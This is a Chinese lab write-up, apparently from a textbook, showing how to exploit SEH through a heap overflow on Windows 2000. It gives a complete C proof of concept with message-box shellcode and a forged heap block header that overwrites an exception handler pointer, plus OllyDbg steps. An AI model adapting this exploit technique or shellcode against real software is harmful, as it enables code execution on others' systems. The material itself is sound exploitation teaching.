5.7 在堆溢出中利用S.E.H

目录

一、实验环境

二、实验代码

三、实验步骤


一、实验环境

        操作系统:Windows 2000 professional

        软件版本:原版OD(实时调试状态)、VC++6.0(release)

二、实验代码

#include <windows.h> 
char shellcode[]= 
"\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" 
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" 
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" 
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" 
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" 
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" 
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" 
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" 
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" 
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" 
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block 
"\x88\x06\x36\x00"//0x00360688 is the address of shellcode in first 
//Heapblock 
"\x90\x90\x90\x90";//target of DWORD SHOOT 

DWORD MyExceptionhandler(void) 
{ 
	ExitProcess(1); 
    return 0;
} 

int main() 
{ 
	HLOCAL h1 = 0, h2 = 0; 
	HANDLE hp; 
	hp = HeapCreate(0,0x1000,0x10000); 
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200); 
	memcpy(h1,shellcode,0x200);// over flow here, noticed 0x200 means 
	//512 ! 
	__asm int 3 // uesd to break the process 
	__try 
	{ 
		h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); 
	} 
	__except(MyExceptionhandler()){}
    return 0;
}

        代码解释:

  1. 溢出第一个堆块的数据将写入后面的空闲堆块,在第二次分配的时候发生DWORD SHOOT;
  2. 将S.E.H的异常回调函数地址作为DOWRD SHOOT的目标,将其替换为shellcode的入口地址,异常发生后,操作系统会错误的把shellcode当作异常处理函数而执行。

三、实验步骤

1、编译代码,直接跳到OD:

 2、检查OD的异常设置,确保OD不会忽略任何异常。

        “option”->"debugging"

 3、直接按F9,运行到异常处,然后查看S.E.H:

         !!!注意:在重新没有运行进入try...except的时候,查看S.E.H会和程序进入try查看S.E.H不同。

没有进入try..except的S.E.H

4、考虑到S.E.H的结构,将代码中覆盖空闲堆块的blink改为0x0012FF30,注释代码中的中断指令,可弹框。

 

 

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